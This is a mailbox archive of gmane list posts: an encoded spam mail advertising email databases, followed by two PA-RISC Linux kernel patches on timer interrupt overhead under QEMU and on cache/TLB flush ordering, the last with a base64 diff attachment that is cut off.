Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 687E6223648BA;
	Mon,  5 Feb 2018 20:49:32 -0800 (PST)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=211.157.147.133; helo=lucky1.263xmail.com;
 envelope-from=wfpzy-Y9sIeH5OGRo@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from lucky1.263xmail.com (lucky1.263xmail.com [211.157.147.133])
 (using TLSv1 with cipher AES256-SHA (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 435CF21F0DA66
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon,  5 Feb 2018 20:49:29 -0800 (PST)
Original-Received: from wfpzy?263.net (unknown [192.168.165.103])
 by lucky1.263xmail.com (Postfix) with ESMTP id 264AD94A8B;
 Tue,  6 Feb 2018 12:55:08 +0800 (CST)
X-263anti-spam: KSV:0;BIG:0;Original-ABS:0;
X-MAIL-GRAY: 1
X-MAIL-DELIVERY: 0
X-KSVirus-check: 0
X-ADDR-CHECKED: 0
X-ABS-CHECKED: 0
X-ANTISPAM-LEVEL: 2
Original-Received: from 173-163-177-29-cpennsylvania2.hfc.comcastbusiness.net
 (localhost [127.0.0.1])
 by smtp.263.net (Postfix) with ESMTPA id 8460441B;
 Tue,  6 Feb 2018 12:54:55 +0800 (CST)
X-RL-SENDER: wfpzy-Y9sIeH5OGRo@public.gmane.org
X-FST-TO: linux-net-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
X-SENDER-IP: 173.163.177.29
X-LOGIN-NAME: wfpzy-Y9sIeH5OGRo@public.gmane.org
X-UNIQUE-TAG: <0aa6c8a1da9834b13258864a69c39700>
X-ATTACHMENT-NUM: 0
X-SENDER: wfpzy-Y9sIeH5OGRo@public.gmane.org
X-DNS-TYPE: 5
Original-Received: from 173-163-177-29-cpennsylvania2.hfc.comcastbusiness.net
 (173-163-177-29-cpennsylvania2.hfc.comcastbusiness.net [173.163.177.29])
 by smtp.263.net (Postfix) whith ESMTP id 21829DF658E;
 Tue, 06 Feb 2018 12:55:06 +0800 (CST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5931
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157
X-Content-Filtered-By: Mailman/MimeDel 2.1.23
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:8036 gmane.linux.network.general:15049 gmane.linux.nfs:87267 gmane.comp.file-systems.nilfs.user:4931 gmane.linux.ports.arm.omap:147533 gmane.linux.ports.parisc:28292 gmane.linux.parport:1861 gmane.linux.kernel.pci:69995 gmane.linux.kernel.pcmcia.devel:5018 gmane.linux.kernel.perf.user:5023
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/8036>

SGVsbG8gbGludXgtbmV0QHZnZXIua2VybmVsLm9yZwpXZSBvZmZlciB5b3UgYW4gRS1tYWlsIGRh
dGFiYXNlIGZvciBhbnkgY291bnRyeSBpbiB0aGUgV29ybGQgd2l0aCA4MCUgZGlzY291bnQuW3d4
Y3pwYWh1XSAKRm9yIGVmZmVjdGl2ZSBtYXJrZXRpbmcsIGFkdmVydGlzaW5nLCBuZXdzbGV0dGVy
cy5bY3F0YWxdCkluIG9yZGVyIHRvIHF1aWNrbHkgYXR0cmFjdCBjdXN0b21lcnMgZm9yIHlvdXIg
YnVzaW5lc3MuW2RienRkXSAKQ3VzdG9tZXJzIHdobyBib3VnaHQgb3VyIGRhdGFiYXNlLCB0cmFp
bmluZyBhbmQgYWR2aWNlIGZvciBmcmVlLltjeHVoaG12ZV0gCkh1cnJ5LCBkaXNjb3VudHMgYXJl
IG9ubHkgMiB3ZWVrcy5bZndibGVqYm9dIApEZXRhaWxzIGJ5IGUtbWFpbDogYW5kcmV5MTAwMDc3
QGdtYWlsLmNvbSBvciBieSBJQ1E6IDY2Njc4NDQzMCBbamd3cHd3bGNdIAoKxO7h8PvpIOTl7fwg
bGludXgtbmV0QHZnZXIua2VybmVsLm9yZwrP8OXk6+Dj4OXsIMLg7CBFLW1haWwg4eDn+yDv7iDr
/uHu6SDx8vDg7eUgzOjw4CDxIDgwJSDx6ujk6u7pLlt5dW9haGNdCsTr/yD99PTl6vLo4u376SDs
4PDq5fLo7ePu4vv1LCDw5err4Ozt+/UsIPDg8fH76+7qLltmY3d3YWZnXSAK0SD25ev8/iDh+/Hy
8O7j7iDv8Oji6+X35e3o/yDq6+jl7fLu4iDk6/8gwuD45ePuIOHo5+3l8eAuW3JncnZ6eWZhXSAK
yuvo5e3y4OwsIOrz7+ji+OjsIPMg7eDxIOHg5/ssIO7h8/fl7ejlIOgg6u7t8fPr/PLg9ujoIOHl
8e/r4PLt7i5bY2tiaHFdIArR7+X46PLlLCDx6ujk6ugg8u7r/OruIDIg7eXk5evoLltiYWJwYmpv
bl0gCsfgIOTl8uDr/O3u6SDo7fTu8Ozg9ujl6SDu4fDg+eDp8uXx/DogW2xyc3BrZF0gCndiYXNl
QGxpc3QucnUg6OvoIO/uIElDUTogNjY2Nzg0NDMwIFtrY2N5Z10gCl9fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCkxpbnV4LW52ZGltbSBtYWlsaW5nIGxpc3QK
TGludXgtbnZkaW1tQGxpc3RzLjAxLm9yZwpodHRwczovL2xpc3RzLjAxLm9yZy9tYWlsbWFuL2xp
c3RpbmZvL2xpbnV4LW52ZGltbQo=


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Reduce irq overhead when run in QEMU
Date: Mon, 12 Feb 2018 21:43:55 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20180212204355.GA10131@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1518468155 17925 195.159.176.226 (12 Feb 2018 20:42:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Feb 2018 20:42:35 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 12 21:42:30 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elKvI-0005Fy-81
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Feb 2018 21:42:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751441AbeBLUoF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Feb 2018 15:44:05 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:48039 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753269AbeBLUoE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Feb 2018 15:44:04 -0500
Original-Received: from ls3530.fritz.box ([89.244.188.190]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MRB8F-1fFCJV1Snf-00UZUv; Mon, 12
 Feb 2018 21:43:58 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:f4uzeffotiH4pvMn7NtTkV9sZ2GW4RWzgfLYc6DSwuYnSCXirUe
 2evnXqYP0A2r0z+Gkl/JLLqleIlwaVgI8iJ5EidxLRiKKdcKlTMY8CZ4W5sQS5urpwNr763
 v64YS8XWniuiyQvxedADpxOtMjC13OTKaSu5NZyALuOY2C0mClajBVbJe01nuP27JFWViMK
 TBVqFWeE3PbfNvN/2yzeA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:cDghaAXeBz4=:G26MYifLYC3t1DK3XVXd6M
 aQpS5KG9uvn7qnU2ofrNDH5/WdOJnNhxV7IbObIuPaR4gu520s6hbv5DVD5Ft3zWEpEj+JQON
 piZY9Ssmx43Ojzx0MgPJym5qBFBwq7GaKpFjfImJ8G9acYc6/UTUqc0r131ZJpb/oLqLJrIHo
 jk8qEAzVPKl/wj88aKOYYeImMKp2YvzbOWSq3knCGpttG3fEnuMa8FWytKEdtU2Ryt8rWHpfx
 0IHhqezb8lYNFKc5pYGf0SrcydrZcCOH1wOBizbgkM4oug2ZdaHKaOlubdQ/Hb6dedZEF/WuW
 OK9hiKYqOy+6ObWgsgwdh+wU6y/D++cMlyfU0xo1ZGhQmPjNRIh4Ewb4IWkNGcRe0cS5tqZ1g
 UdXpCWNsTo+9l3VY/bYODVEWSMi82zps+Myhv2TL3RTBxKOwLEf0R446M7QKznjGBtJku4LW7
 XVvnkQNo8XrwhRKwF+U3qAjX6mZAavCM61N8lNvse11zSW0fap/f3Mgchb23G5m+EEKkmnuQo
 5ynaWmaJRg+2VE4orCnZ97zAbhfmcartbhHOVMN4xoDE/j8zmIsvUmJRcmianZNZEdtof0y/4
 DJUWywbBBrhcTzajjwrWv5S2boSzWis7igS75LFZv9t9rwo6dgP3F8SftpiICIk96BBSN1hxw
 Sfaw7oiNs/ZeZbkIFRWDNzr9/yGaMxT38HywczYN8uPst8nakFzS3n/2UxZbSFXNJlrzuPlZx
 RrUh08QbvamUInYo2tOG2kcR+E0UjWUANsRo25YJaf0bxVKxnr0Rv3IxJV1mKblHG1GW37vt 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28293>

When run under qemu, calling mfctl(16) creates some overhead because the
qemu timer has to be scaled and moved into the register. This patch
reduces the number of calls to mfctl(16) by moving the calls out of the
loops.

Additionally, increase the minimal time interval to 8000 cycles instead
of 500 for better QEMU support.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 4b8fd6dc22da..743a8933cd47 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -76,10 +76,10 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	next_tick = cpuinfo->it_value;
 
 	/* Calculate how many ticks have elapsed. */
+	now = mfctl(16);
 	do {
 		++ticks_elapsed;
 		next_tick += cpt;
-		now = mfctl(16);
 	} while (next_tick - now > cpt);
 
 	/* Store (in CR16 cycles) up to when we are accounting right now. */
@@ -103,16 +103,17 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	 * if one or the other wrapped. If "now" is "bigger" we'll end up
 	 * with a very large unsigned number.
 	 */
-	while (next_tick - mfctl(16) > cpt)
+	now = mfctl(16);
+	while (next_tick - now > cpt)
 		next_tick += cpt;
 
 	/* Program the IT when to deliver the next interrupt.
 	 * Only bottom 32-bits of next_tick are writable in CR16!
 	 * Timer interrupt will be delivered at least a few hundred cycles
-	 * after the IT fires, so if we are too close (<= 500 cycles) to the
+	 * after the IT fires, so if we are too close (<= 8000 cycles) to the
 	 * next cycle, simply skip it.
 	 */
-	if (next_tick - mfctl(16) <= 500)
+	if (next_tick - now <= 8000)
 		next_tick += cpt;
 	mtctl(next_tick, 16);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix ordering of cache and TLB flushes
Date: Mon, 12 Feb 2018 19:26:57 -0500
Lines: 140
Approved: news@gmane.org
Message-ID: <7ac084e0-75e7-8356-7839-3403fa53a5e0@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------2BAE6F35268CB68C48C05E2E"
X-Trace: blaine.gmane.org 1518481500 13033 195.159.176.226 (13 Feb 2018 00:25:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 00:25:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 01:24:55 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elOP0-00039Q-AC
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 01:24:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932779AbeBMA1A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Feb 2018 19:27:00 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:52714 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S932769AbeBMA07 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Feb 2018 19:26:59 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180213002657.EXOW22355.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 12 Feb 2018 19:26:57 -0500
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by mtlspm02.bell.net
          with ESMTP
          id <20180213002657.BDZU6415.mtlspm02.bell.net@[192.168.2.49]>;
          Mon, 12 Feb 2018 19:26:57 -0500
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=Op4juWPpsa0A:10 a=r77TgQKjGQsHNAKrUKIA:9 a=FBHGMhGWAAAA:8 a=joGbh3AQvw-7eJtGqr4A:9 a=QEXdDO2ut3YA:10 a=rJsPX2TPGC3wyYekd9MA:9 a=ichUEFZdvV4A:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28294>

This is a multi-part message in MIME format.
--------------2BAE6F35268CB68C48C05E2E
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit

The attached change fixes the ordering of cache and TLB flushes in 
several cases.  When we
flush the cache using the existing PTE/TLB entries, we need to flush the 
TLB after doing the cache
flush.  We don't need to do this when we flush the entire instruction 
and data caches as these
flushes don't use the existing TLB entries.  The same is true for 
tmpalias region flushes.

The flush_kernel_vmap_range() and invalidate_kernel_vmap_range() 
routines have been
updated.   Helge reported that using  flush_data_cache() on PA 1.1 
causes a deadlock in the
dynamic DMA routines in pci-dma.c in SMP kernels.  So, we have disabled 
using the whole
data cache flush in this case.  This fixes PA 1.1 SMP support.

Secondly, we added a new purge_kernel_dcache_range_asm() routine to 
pacache.S and
use it in invalidate_kernel_vmap_range().  Nominally, purges are faster 
than flushes as the
cache lines don't have to be written back to memory.

Hopefully, this is sufficient to resolve the remaining problems due to 
cache speculation.  So far,
testing indicates that this is the case.  I did work up a patch using 
tmpalias flushes, but there
is a performance hit because we need the physical address for each page, 
and we also need
to sequence access to the tmpalias flush code.  This increases the 
probability of stalls.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>


--------------2BAE6F35268CB68C48C05E2E
Content-Type: text/plain; charset=UTF-8;
 name="linux-4.14.18-20180208.d"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="linux-4.14.18-20180208.d"

ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaCBiL2Fy
Y2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaAppbmRleCAzNzQyNTA4Y2M1MzQu
LmJkNWNlMzE5MzZmNSAxMDA2NDQKLS0tIGEvYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vY2Fj
aGVmbHVzaC5oCisrKyBiL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaApA
QCAtMjYsNiArMjYsNyBAQCB2b2lkIGZsdXNoX3VzZXJfaWNhY2hlX3JhbmdlX2FzbSh1bnNp
Z25lZCBsb25nLCB1bnNpZ25lZCBsb25nKTsKIHZvaWQgZmx1c2hfa2VybmVsX2ljYWNoZV9y
YW5nZV9hc20odW5zaWduZWQgbG9uZywgdW5zaWduZWQgbG9uZyk7CiB2b2lkIGZsdXNoX3Vz
ZXJfZGNhY2hlX3JhbmdlX2FzbSh1bnNpZ25lZCBsb25nLCB1bnNpZ25lZCBsb25nKTsKIHZv
aWQgZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20odW5zaWduZWQgbG9uZywgdW5zaWdu
ZWQgbG9uZyk7Cit2b2lkIHB1cmdlX2tlcm5lbF9kY2FjaGVfcmFuZ2VfYXNtKHVuc2lnbmVk
IGxvbmcsIHVuc2lnbmVkIGxvbmcpOwogdm9pZCBmbHVzaF9rZXJuZWxfZGNhY2hlX3BhZ2Vf
YXNtKHZvaWQgKik7CiB2b2lkIGZsdXNoX2tlcm5lbF9pY2FjaGVfcGFnZSh2b2lkICopOwog
CmRpZmYgLS1naXQgYS9hcmNoL3BhcmlzYy9rZXJuZWwvY2FjaGUuYyBiL2FyY2gvcGFyaXNj
L2tlcm5lbC9jYWNoZS5jCmluZGV4IDE5YzBjMTQxYmMzZi4uYWYyY2M0MzAyYTQyIDEwMDY0
NAotLS0gYS9hcmNoL3BhcmlzYy9rZXJuZWwvY2FjaGUuYworKysgYi9hcmNoL3BhcmlzYy9r
ZXJuZWwvY2FjaGUuYwpAQCAtNTM5LDEzICs1MzksMTAgQEAgdm9pZCBmbHVzaF9jYWNoZV9t
bShzdHJ1Y3QgbW1fc3RydWN0ICptbSkKIAlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYTsK
IAlwZ2RfdCAqcGdkOwogCi0JLyogRmx1c2ggdGhlIFRMQiB0byBhdm9pZCBzcGVjdWxhdGlv
biBpZiBjb2hlcmVuY3kgaXMgcmVxdWlyZWQuICovCi0JaWYgKHBhcmlzY19yZXF1aXJlc19j
b2hlcmVuY3koKSkKLQkJZmx1c2hfdGxiX2FsbCgpOwotCiAJLyogRmx1c2hpbmcgdGhlIHdo
b2xlIGNhY2hlIG9uIGVhY2ggY3B1IHRha2VzIGZvcmV2ZXIgb24KIAkgICBycDM0NDAsIGV0
Yy4gIFNvLCBhdm9pZCBpdCBpZiB0aGUgbW0gaXNuJ3QgdG9vIGJpZy4gICovCiAJaWYgKG1t
X3RvdGFsX3NpemUobW0pID49IHBhcmlzY19jYWNoZV9mbHVzaF90aHJlc2hvbGQpIHsKKwkJ
Zmx1c2hfdGxiX2FsbCgpOwogCQlmbHVzaF9jYWNoZV9hbGwoKTsKIAkJcmV0dXJuOwogCX0K
QEAgLTU1Niw2ICs1NTMsNyBAQCB2b2lkIGZsdXNoX2NhY2hlX21tKHN0cnVjdCBtbV9zdHJ1
Y3QgKm1tKQogCQkJaWYgKCh2bWEtPnZtX2ZsYWdzICYgVk1fRVhFQykgPT0gMCkKIAkJCQlj
b250aW51ZTsKIAkJCWZsdXNoX3VzZXJfaWNhY2hlX3JhbmdlX2FzbSh2bWEtPnZtX3N0YXJ0
LCB2bWEtPnZtX2VuZCk7CisJCQlmbHVzaF90bGJfcmFuZ2Uodm1hLCB2bWEtPnZtX3N0YXJ0
LCB2bWEtPnZtX2VuZCk7CiAJCX0KIAkJcmV0dXJuOwogCX0KQEAgLTU4MSwyMSArNTc5LDE4
IEBAIHZvaWQgZmx1c2hfY2FjaGVfbW0oc3RydWN0IG1tX3N0cnVjdCAqbW0pCiB2b2lkIGZs
dXNoX2NhY2hlX3JhbmdlKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAogCQl1bnNpZ25l
ZCBsb25nIHN0YXJ0LCB1bnNpZ25lZCBsb25nIGVuZCkKIHsKLQlCVUdfT04oIXZtYS0+dm1f
bW0tPmNvbnRleHQpOwotCi0JLyogRmx1c2ggdGhlIFRMQiB0byBhdm9pZCBzcGVjdWxhdGlv
biBpZiBjb2hlcmVuY3kgaXMgcmVxdWlyZWQuICovCi0JaWYgKHBhcmlzY19yZXF1aXJlc19j
b2hlcmVuY3koKSkKKwlpZiAoKGVuZCAtIHN0YXJ0KSA+PSBwYXJpc2NfY2FjaGVfZmx1c2hf
dGhyZXNob2xkKSB7CiAJCWZsdXNoX3RsYl9yYW5nZSh2bWEsIHN0YXJ0LCBlbmQpOwotCi0J
aWYgKChlbmQgLSBzdGFydCkgPj0gcGFyaXNjX2NhY2hlX2ZsdXNoX3RocmVzaG9sZAotCSAg
ICB8fCB2bWEtPnZtX21tLT5jb250ZXh0ICE9IG1mc3AoMykpIHsKIAkJZmx1c2hfY2FjaGVf
YWxsKCk7CiAJCXJldHVybjsKIAl9CiAKKwlCVUdfT04odm1hLT52bV9tbS0+Y29udGV4dCAh
PSBtZnNwKDMpKTsKKwogCWZsdXNoX3VzZXJfZGNhY2hlX3JhbmdlX2FzbShzdGFydCwgZW5k
KTsKIAlpZiAodm1hLT52bV9mbGFncyAmIFZNX0VYRUMpCiAJCWZsdXNoX3VzZXJfaWNhY2hl
X3JhbmdlX2FzbShzdGFydCwgZW5kKTsKKwlmbHVzaF90bGJfcmFuZ2Uodm1hLCBzdGFydCwg
ZW5kKTsKIH0KIAogdm9pZApAQCAtNjA0LDggKzU5OSw3IEBAIGZsdXNoX2NhY2hlX3BhZ2Uo
c3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgdm1hZGRyLCB1bnNp
Z25lZCBsb25nCiAJQlVHX09OKCF2bWEtPnZtX21tLT5jb250ZXh0KTsKIAogCWlmIChwZm5f
dmFsaWQocGZuKSkgewotCQlpZiAocGFyaXNjX3JlcXVpcmVzX2NvaGVyZW5jeSgpKQotCQkJ
Zmx1c2hfdGxiX3BhZ2Uodm1hLCB2bWFkZHIpOworCQlmbHVzaF90bGJfcGFnZSh2bWEsIHZt
YWRkcik7CiAJCV9fZmx1c2hfY2FjaGVfcGFnZSh2bWEsIHZtYWRkciwgUEZOX1BIWVMocGZu
KSk7CiAJfQogfQpAQCAtNjEzLDIxICs2MDcsMzUgQEAgZmx1c2hfY2FjaGVfcGFnZShzdHJ1
Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyB2bWFkZHIsIHVuc2lnbmVk
IGxvbmcKIHZvaWQgZmx1c2hfa2VybmVsX3ZtYXBfcmFuZ2Uodm9pZCAqdmFkZHIsIGludCBz
aXplKQogewogCXVuc2lnbmVkIGxvbmcgc3RhcnQgPSAodW5zaWduZWQgbG9uZyl2YWRkcjsK
Kwl1bnNpZ25lZCBsb25nIGVuZCA9IHN0YXJ0ICsgc2l6ZTsKIAotCWlmICgodW5zaWduZWQg
bG9uZylzaXplID4gcGFyaXNjX2NhY2hlX2ZsdXNoX3RocmVzaG9sZCkKKyNpZiBkZWZpbmVk
KENPTkZJR19QQTIwKSB8fCAhZGVmaW5lZChDT05GSUdfU01QKQorCS8qIFRoZSBJUEkgaW50
ZXJydXB0cyB1c2VkIGJ5IGZsdXNoX2RhdGFfY2FjaGUoKSBjYXVzZSBhIHN0YWxsCisJICAg
aW4gdGhlIFBBIDEuMSBkeW5hbWljIERNQSBtYXBwaW5nIGNvZGUgaW4gU01QIGtlcm5lbHMu
ICovCisJaWYgKCh1bnNpZ25lZCBsb25nKXNpemUgPj0gcGFyaXNjX2NhY2hlX2ZsdXNoX3Ro
cmVzaG9sZCkgeworCQlmbHVzaF90bGJfa2VybmVsX3JhbmdlIChzdGFydCwgZW5kKTsKIAkJ
Zmx1c2hfZGF0YV9jYWNoZSgpOwotCWVsc2UKLQkJZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5n
ZV9hc20oc3RhcnQsIHN0YXJ0ICsgc2l6ZSk7CisJCXJldHVybjsKKwl9CisjZW5kaWYKKwor
CWZsdXNoX2tlcm5lbF9kY2FjaGVfcmFuZ2VfYXNtKHN0YXJ0LCBlbmQpOworCWZsdXNoX3Rs
Yl9rZXJuZWxfcmFuZ2UgKHN0YXJ0LCBlbmQpOwogfQogRVhQT1JUX1NZTUJPTChmbHVzaF9r
ZXJuZWxfdm1hcF9yYW5nZSk7CiAKIHZvaWQgaW52YWxpZGF0ZV9rZXJuZWxfdm1hcF9yYW5n
ZSh2b2lkICp2YWRkciwgaW50IHNpemUpCiB7CiAJdW5zaWduZWQgbG9uZyBzdGFydCA9ICh1
bnNpZ25lZCBsb25nKXZhZGRyOworCXVuc2lnbmVkIGxvbmcgZW5kID0gc3RhcnQgKyBzaXpl
OwogCi0JaWYgKCh1bnNpZ25lZCBsb25nKXNpemUgPiBwYXJpc2NfY2FjaGVfZmx1c2hfdGhy
ZXNob2xkKQorCWlmICgodW5zaWduZWQgbG9uZylzaXplID49IHBhcmlzY19jYWNoZV9mbHVz
aF90aHJlc2hvbGQpIHsKKwkJZmx1c2hfdGxiX2tlcm5lbF9yYW5nZSAoc3RhcnQsIGVuZCk7
CiAJCWZsdXNoX2RhdGFfY2FjaGUoKTsKLQllbHNlCi0JCWZsdXNoX2tlcm5lbF9kY2FjaGVf
cmFuZ2VfYXNtKHN0YXJ0LCBzdGFydCArIHNpemUpOworCQlyZXR1cm47CisJfQorCisJcHVy
Z2Vfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20oc3RhcnQsIGVuZCk7CisJZmx1c2hfdGxiX2tl
cm5lbF9yYW5nZSAoc3RhcnQsIGVuZCk7CiB9CiBFWFBPUlRfU1lNQk9MKGludmFsaWRhdGVf
a2VybmVsX3ZtYXBfcmFuZ2UpOwpkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2Mva2VybmVsL3Bh
Y2FjaGUuUyBiL2FyY2gvcGFyaXNjL2tlcm5lbC9wYWNhY2hlLlMKaW5kZXggMmQ0MGM0ZmYz
ZjY5Li42N2IwZjc1MzJlODMgMTAwNjQ0Ci0tLSBhL2FyY2gvcGFyaXNjL2tlcm5lbC9wYWNh
Y2hlLlMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3BhY2FjaGUuUwpAQCAtMTExMCw2ICsx
MTEwLDI4IEBAIEVOVFJZX0NGSShmbHVzaF9rZXJuZWxfZGNhY2hlX3JhbmdlX2FzbSkKIAku
cHJvY2VuZAogRU5EUFJPQ19DRkkoZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20pCiAK
K0VOVFJZX0NGSShwdXJnZV9rZXJuZWxfZGNhY2hlX3JhbmdlX2FzbSkKKwkucHJvYworCS5j
YWxsaW5mbyBOT19DQUxMUworCS5lbnRyeQorCisJbGRpbAkJTCVkY2FjaGVfc3RyaWRlLCAl
cjEKKwlsZHcJCVIlZGNhY2hlX3N0cmlkZSglcjEpLCAlcjIzCisJbGRvCQktMSglcjIzKSwg
